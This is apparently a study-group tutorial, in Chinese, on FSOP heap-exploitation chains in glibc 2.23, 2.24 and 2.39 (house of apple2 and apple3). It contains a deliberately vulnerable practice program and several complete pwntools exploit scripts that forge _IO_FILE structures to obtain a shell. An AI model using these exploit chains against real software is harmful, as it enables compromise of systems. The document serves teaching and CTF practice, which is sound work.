# 新版本 glibc 中的 FSOP 利用鏈 > 資安讀書會 11/30, 2025 很久以前堇姬講過利用 file structure 的任意讀寫和修改 vtable 的 get shell 方式,於是我打算接續著講一些在新版本還可以 get shell 的 FSOP 方式。 以下都會打這段程式碼,給你 libc address 且可以往任意地址寫長度 0x100 的資料,我會都用 FSOP 來打: ```cpp #include <stdio.h> int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); printf("leak: 0x%lx\n",printf); unsigned long addr; printf("addr: "); scanf("%ld", &addr); printf("data: "); read(0, addr, 0x100); } ``` 你可以在[這邊](https://share.rota1001.com/fsop.zip)找到檔案。 首先讓我們把時光倒退到 glibc 2.23。 :::info 以下的 exploit 中的 pwntools 都是 `5.0.0dev` 的版本,比 release 的還要新 ::: ## glibc 2.23 之所以要從 2.23 開始講是因為 FSOP 運用的核心概念其實差不多,差別大部分在於要繞過的檢測不同。 FSOP 主要是利用在 `exit`、正常 return 或 abort 的時候,會呼叫 `_IO_flush_all_lockp`,它會將 `_IO_list_all` 指向的 `_IO_FILE` 還有它連著的所有 `_IO_FILE` 全部做一些操作,在滿足一些條件的時候會呼叫到我們可以控制的函式指標,那就能控制執行流。 在 `_IO_FILE_PLUS` 結構中,有個元素是 vtable,指向一個 `_IO_jump_t` 結構體,他放的是一堆函式指標([libio/libioP.h#L307](https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/libioP.h#L307)): 在 `_IO_flush_all_lockp` 裡,有個地方會去呼叫 `_IO_OVERFLOW`([libio/libioP.h#L307](https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/libioP.h#L307)),他要滿足的是 `fp->mode` 要小於等於 0 且 `fp->_IO_write_ptr` 要大於 `fp->_IO_write_base` ```cpp if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; ``` 注意到他的 `_IO_OVERFLOW` 的第 0 個參數的是 `fp`,也就代表我們能控制 rdi 指向的位置放的東西,如果我們在那邊放 `/bin/sh`,再調整 vtable 位置讓 `_IO_OVERFLOW` 對應到的剛好是 `system` 的話,那就可以 getshell 了。 接下是實作,首先從 `_IO_list_all` 的位置開始寫,我會把假的 `_IO_FILE_plus` 放在 `_IO_list_all + 8` 的地方,原因是因為那邊是 stderr 的位置,比較不會影響到正常輸入輸出。 於是我在 `_IO_list_all` 的位置寫 `_IO_list_all + 8`,在後面寫一個 filestructure,使用 python 的 `FileStructure`: ```python file = FileStructure(0) ``` 他的開頭要放 `/bin/sh\x00` 做為輸入,這個欄位是 flags,這裡沒差: ```python file.flags = b"/bin/sh\x00" ``` 然後滿足檢測條件: ```python file._IO_write_base = 0 file._IO_write_ptr = 1 file._mode = 0 ``` `_IO_read_ptr` 是在 0x08 的位置,overflow 的函式指標在 `_IO_jump_t` 結構體偏移 0x18 的位置,於是我在 `_IO_read_ptr` 的地方放 `system`,在 `vtable` 放 `_IO_read_ptr` 的位置減 0x18,也就是 `_IO_list_all + 8 + 0x8 - 0x18`: ```python file._IO_read_ptr = p64(libc.sym["system"]) file.vtable = (_IO_list_all + 8 + 0x8 - 0x18) ``` 完整的 exploit 在這: ```python from pwn import * r = process("./chal") context.binary = ELF("./chal") libc = ELF("2.23-0ubuntu5_amd64/libc.so.6") r.recvuntil(b": ") libc.address = int(r.recvline().strip().decode(), 16) - libc.sym["printf"] print(hex(libc.address)) _IO_list_all = libc.sym["_IO_list_all"] r.sendlineafter(b": ", str(_IO_list_all).encode()) file = FileStructure(0) file.flags = b"/bin/sh\x00" file._IO_write_base = 0 file._IO_write_ptr = 1 file._mode = 0 file._IO_read_ptr = p64(libc.sym["system"]) file.vtable = (_IO_list_all + 8 + 0x8 - 0x18) print(file) payload = p64(_IO_list_all + 8) + bytes(file) r.sendlineafter(b": ", str(len(payload)).encode()) r.sendafter(b": ", payload) r.interactive() ``` ## glibc 2.24 在 glibc 2.24 開始,會去檢查 vtable 是否在 `__start___libc_IO_vtables` 到 `__stop___libc_IO_vtables` 之間,所以不能亂造 vtable,然後這段是不能寫的,所以我們只能想辦法利用現有的 vtable。 ```cpp static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) { /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; } ``` 在 `_IO_str_jumps` 中有一些可以用的函式,它被定義在 [libio/strops.c#L326](https://elixir.bootlin.com/glibc/glibc-2.24/source/libio/strops.c#L326),它的 symbol 沒被放出來,不過其他人的 blog 有提到怎麼找這個 symbol 的位置: ```python # https://b0ldfrev.gitbook.io/note/pwn/iofile-li-yong-si-lu-zong-jie#libc2.24-ji-yi-shang-de-li-yong def find_IO_str_jumps(): # find _IO_str_jumps # notice that libc.address must be zero IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: return possible_IO_str_jumps_offset return null ``` 這個 vtable 裡面我們要利用的是 `_IO_str_finish`,它裡面會呼叫 `((_IO_strfile *) fp)->_s._free_buffer`,其實就是呼叫 fp 偏移 0xE8 的地方放的函式指標,並且以 `fp->_IO_buf_base` 作為輸入。 ```cpp void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); } ``` 我們可以先滿足之前那些 FSOP 的條件,讓它呼叫 `_IO_OVERFLOW`,調整 vtable 讓它實際上會呼叫到 `_IO_str_finish`,並且在 `fp + 0xe8` 寫上 `system`,在 `fp->_IO_buf_base` 寫上 `/bin/sh` 的地址,接下來是實作。 首先用上述函式拿到 `_IO_str_jumps`: ```python _IO_str_jumps = find_IO_str_jumps() ``` 我們同樣把 `_IO_FILE_plus` 構造在 `_IO_list_all + 8` 的地方,先滿足條件讓它呼叫 `IO_OVERFLOW`: ```python file._mode = 0 file._IO_write_ptr = 1 file._IO_write_base = 0 ``` 調整 `vtable` 讓它呼叫 `_IO_str_finish`: ```python file.vtable = _IO_str_jumps + 0x10 - 0x18 ``` 在 `_IO_buf_base` 放指向 `/bin/sh` 的指標: ```python file._IO_buf_base = next(libc.search(b"/bin/sh\x00")) ``` 最後構造 payload,把 `system` 放在偏移 0xE8 的位置: ```python payload = flat({ 0x00: p64(_IO_list_all + 8), 0x08: bytes(file), 0x08 + 0xe8: p64(libc.sym["system"]) }) ``` 完整的 exploit 長這樣: ```python from pwn import * r = process("./chal") context.binary = ELF("./chal") libc = ELF("2.24-9ubuntu2_amd64/libc.so.6") def find_IO_str_jumps(): # find _IO_str_jumps # notice that libc.address must be zero IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: return possible_IO_str_jumps_offset return null _IO_str_jumps = find_IO_str_jumps() print(hex(_IO_str_jumps)) r.recvuntil(b": ") libc.address = int(r.recvline().strip().decode(), 16) - libc.sym["printf"] print(hex(libc.address)) _IO_list_all = libc.sym["_IO_list_all"] r.sendlineafter(b": ", str(_IO_list_all).encode()) _IO_str_jumps = libc.address + _IO_str_jumps file = FileStructure(0) file._mode = 0 file._IO_write_ptr = 1 file._IO_write_base = 0 file._IO_buf_base = next(libc.search(b"/bin/sh\x00")) file.vtable = _IO_str_jumps + 0x10 - 0x18 payload = flat({ 0x00: p64(_IO_list_all + 8), 0x08: bytes(file), 0x08 + 0xe8: p64(libc.sym["system"]) }) r.sendlineafter(b": ", str(len(payload)).encode()) r.sendafter(b": ", payload) r.interactive() ``` 這個東西印象中是在 2.28 後就不能用了。 ## glibc 2.39 跳的有點快,直接到 2.39,之所以沒再往上是因為我是用 ubuntu 24.04,他是 2.39。 ### house of apple2 他是利用 `_IO_wfile_jumps` 中的 `_IO_wfile_overflow`,滿足一些條件後它會呼叫 `_IO_wdoallocbuf` ```cpp wint_t _IO_wfile_overflow (FILE *f, wint_t wch) { if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } /* If currently reading or no buffer allocated. */ if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_wide_data->_IO_write_base == NULL) { /* Allocate a buffer if needed. */ if (f->_wide_data->_IO_write_base == 0) { _IO_wdoallocbuf (f); ... ``` 然後它會去呼叫 `_IO_WDOALLOCATE`,第 0 個參數是 fp,而且這個 `_IO_WDOALLOCATE` 是從 `_wide_data` 中的 `_wide_vtable` 指向的 vtable 拿出來的,而這個 vtable 在哪裡是不會被驗證的,就代表我們可以偽造這個 vtable。 ```cpp void _IO_wdoallocbuf (FILE *fp) { if (fp->_wide_data->_IO_buf_base) return; if (!(fp->_flags & _IO_UNBUFFERED)) if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF) return; _IO_wsetb (fp, fp->_wide_data->_shortbuf, fp->_wide_data->_shortbuf + 1, 0); } ``` 以下整理一些要滿足的條件: - `fp->flags` 要清除 `2 | 0x8 | 0x800`,並且有 `0x8000` - flags 也是字串輸入,同時滿足上面條件的合法 flags 是 `u64(b"\x00\x00\x00\x00;sh;") | 0xffffffff & (~(2 | 0x8 | 0x800))` - `fp->_IO_write_ptr` > `fp->_IO_write_base` - `fp->vtable` 設為 `_IO_wfile_jumps` - `fp->_wide_data` 指向一個偽造出的 `_wide_data`,滿足以下條件: - `_IO_write_base` 是 0 - `_IO_buf_base` 是 0 - `_wide_vtable` 指向偽造的 vtable,且 `_IO_doallocate` 是 `system` 構造過程比較瑣碎,直接上 payload: ```python from pwn import * r = process("./chal") context.binary = ELF("./chal") libc = ELF("2.39-0ubuntu8.6_amd64/libc.so.6") r.recvuntil(b": ") libc.address = int(r.recvline().strip().decode(), 16) - libc.sym["printf"] print(hex(libc.address)) _IO_list_all = libc.sym["_IO_list_all"] r.sendlineafter(b": ", str(_IO_list_all).encode()) _IO_wfile_jumps = libc.sym["_IO_wfile_jumps"] file = FileStructure(0) file.flags = u64(b"\x00\x00\x00\x00;sh;") | 0xffffffff & (~(2 | 0x8 | 0x800)) file._mode = 0 file._IO_write_ptr = 1 file._IO_write_base = 0 file.vtable = _IO_wfile_jumps file._wide_data = _IO_list_all + 0x8 - 0x10 print(file) system = libc.sym["system"] file._IO_read_ptr = 0 # 0x00: _IO_wide_data: 0x18 file._IO_write_base = 0 # 0x18: _IO_wide_data: 0x30 system_pos = _IO_list_all + 0x8 + 0xc8 file._unused2 = b"\x00" * (0xc8 - 0xc4) + p64(system) + p64(system_pos - 0x68) payload = p64(_IO_list_all + 8) + bytes(file) r.sendlineafter(b": ", str(len(payload)).encode()) r.sendafter(b": ", payload) r.interactive() ``` ### house of apple3 這條鏈有億點點複雜,其實把它壓進 0xF0 的長度已經不成人形了。 這個方法是利用 `_IO_wfile_jumps` 中的 `_IO_wfile_underflow`,經過一些檢查後會進入 `__libio_codecvt_in`([libio/wfileops.c#L111](https://elixir.bootlin.com/glibc/glibc-2.39/source/libio/wfileops.c#L111)) ```cpp wint_t _IO_wfile_underflow (FILE *fp) { struct _IO_codecvt *cd; enum __codecvt_result status; ssize_t count; /* C99 requires EOF to be "sticky". */ if (fp->_flags & _IO_EOF_SEEN) return WEOF; if (__glibc_unlikely (fp->_flags & _IO_NO_READS)) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end) return *fp->_wide_data->_IO_read_ptr; cd = fp->_codecvt; /* Maybe there is something left in the external buffer. */ if (fp->_IO_read_ptr < fp->_IO_read_end) { /* There is more in the external. Convert it. */ const char *read_stop = (const char *) fp->_IO_read_ptr; fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state; fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_buf_base; status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state, fp->_IO_read_ptr, fp->_IO_read_end, &read_stop, fp->_wide_data->_IO_read_ptr, fp->_wide_data->_IO_buf_end, &fp->_wide_data->_IO_read_end); ... ``` 在 [`__libio_codecvt_in`](https://elixir.bootlin.com/glibc/glibc-2.39/source/libio/iofwide.c#L160) 裡面,去呼叫了 `fp->codecvt->__cd_in.step->__fct`,並且使用 `gs` (`fp->codecvt->__cd_in.step`)作為第 0 個參數: ```cpp enum __codecvt_result __libio_codecvt_in (struct _IO_codecvt *codecvt, __mbstate_t *statep, const char *from_start, const char *from_end, const char **from_stop, wchar_t *to_start, wchar_t *to_end, wchar_t **to_stop) { enum __codecvt_result result; struct __gconv_step *gs = codecvt->__cd_in.step; int status; size_t dummy; const unsigned char *from_start_copy = (unsigned char *) from_start; codecvt->__cd_in.step_data.__outbuf = (unsigned char *) to_start; codecvt->__cd_in.step_data.__outbufend = (unsigned char *) to_end; codecvt->__cd_in.step_data.__statep = statep; __gconv_fct fct = gs->__fct; if (gs->__shlib_handle != NULL) PTR_DEMANGLE (fct); status = DL_CALL_FCT (fct, (gs, &codecvt->__cd_in.step_data, &from_start_copy, (const unsigned char *) from_end, NULL, &dummy, 0, 0)); ``` 這個 `fp->codecvt->__cd_in.step->__fct` 是我們可以自己偽造的,所以我們總共要偽造 `_IO_FILE_plus`、`_IO_wide_data` 、 `_IO_codecvt` 和 `__gconv_step` 四個結構體,以下是一些要滿足的條件: 首先是要讓他在 `_IO_flush_all` 裡面呼叫 `_IO_OVERFLOW`,所以要滿足: - `fp->flags` 要有 0x8000 - `fp->_mode <= 0` - `fp->_IO_write_ptr > fp->_IO_write_base` 然後修改 vtable 讓它呼叫 `_IO_OVERFLOW` 時實際叫到的是 `_IO_wfile_underflow`。 接下來滿足以下條件讓它呼叫 `__libio_codecvt_in`: - `fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end` - `fp->flags` 要把 `0x10 | 0x04` 清掉 接下來是 `fp->codecvt->__cd_in.step->__shlib_handle` 要是 0,這樣它就會去呼叫 `fp->codecvt->__cd_in.step->__fct`,把這個函式指標寫成 `system` 就好。 現在我們控制了 rip,但要怎麼控制 rdi 呢? 觀察 `__libio_codecvt_in` 的實現,會發現他在呼叫 `fct` 之前會執行以下的程式碼: ```cpp codecvt->__cd_in.step_data.__outbuf = (unsigned char *) to_start; codecvt->__cd_in.step_data.__outbufend = (unsigned char *) to_end; codecvt->__cd_in.step_data.__statep = statep; ``` 會發現它等價於是可以往 `codecvt->__cd_in` 的相對位置寫一些東西。注意到呼叫 `fct` 的時候,它輸入的參數是 `fp->codecvt->__cd_in.step`,如果我們把 `fp->codecvt->__cd_in.step` 建立在 `((char *)(codecvt->__cd_in)) + 8` 的位置,再把 `to_start` 的設成 `u64(b"/bin/sh\x00")`,那做的事情就是把輸入變成指向 `"/bin/sh"` 的指標。 但會發現一件事情是 `fp->codecvt->__cd_in.step` 開頭放的東西是 `__shlib_handle`,這個值如果被寫成 `/bin/sh` 就不是 0 了,在 C 語言的觀點來看他不會呼叫 `fct`,但如果丟進 IDA 看的話: ```cpp v10 = step->__shlib_handle == 0; fct = step->__fct; codecvt->__cd_in.step_data.__outbuf = (unsigned __int8 *)to_start; codecvt->__cd_in.step_data.__outbufend = (unsigned __int8 *)to_end; codecvt->__cd_in.step_data.__statep = statep; if ( !v10 ) fct = (void *)(__readfsqword(0x30u) ^ __ROR8__(fct, 17)); ``` 你會發現,他在進行那幾行賦值的程式碼之前,先去把 `step->__shlib_handle == 0` 的結果儲存了,所以把它改成 `/bin/sh` 不會出問題,於是成功 getshell。 那怎麼把它壓進 0xF0 裡面呢?簡單來說就是把 4 個結構體合併在 0xF0 的空間中,直接上 exploit: ```python from pwn import * r = process("./chal") context.binary = ELF("./chal") libc = ELF("2.39-0ubuntu8.6_amd64/libc.so.6") r.recvuntil(b": ") libc.address = int(r.recvline().strip().decode(), 16) - libc.sym["printf"] print(hex(libc.address)) _IO_list_all = libc.sym["_IO_list_all"] r.sendlineafter(b": ", str(_IO_list_all).encode()) _IO_wfile_jumps = libc.sym["_IO_wfile_jumps"] file = FileStructure(0) file.flags = (~(0x10 | 0x04)) | 0x8000 file._mode = 0 file._IO_write_ptr = 1 file._IO_write_base = 0 file._IO_read_ptr = 0 file._IO_read_end = 1 file.vtable = _IO_wfile_jumps + 0x8 file._wide_data = _IO_list_all + 8 + 0x10 system = libc.sym["system"] file._codecvt = _IO_list_all + 8 + 0x50 file._IO_buf_end = b"/bin/sh\x00" file._IO_backup_base = _IO_list_all + 8 + 0x58 file._cur_column = system & 0xFFFF file._vtable_offset = (system >> 16) & 0xFF file._shortbuf = (system >> 24) & 0xFF file.unknown1 = (system >> 32) payload = p64(_IO_list_all + 8) + bytes(file) r.sendafter(b": ", payload) r.interactive() ``` ## Reference https://ctf-wiki.org/pwn/linux/user-mode/io-file/fsop/ https://ctf-wiki.org/pwn/linux/user-mode/io-file/exploit-in-libc2.24/ https://roderickchan.github.io/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/ https://roderickchan.github.io/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-3/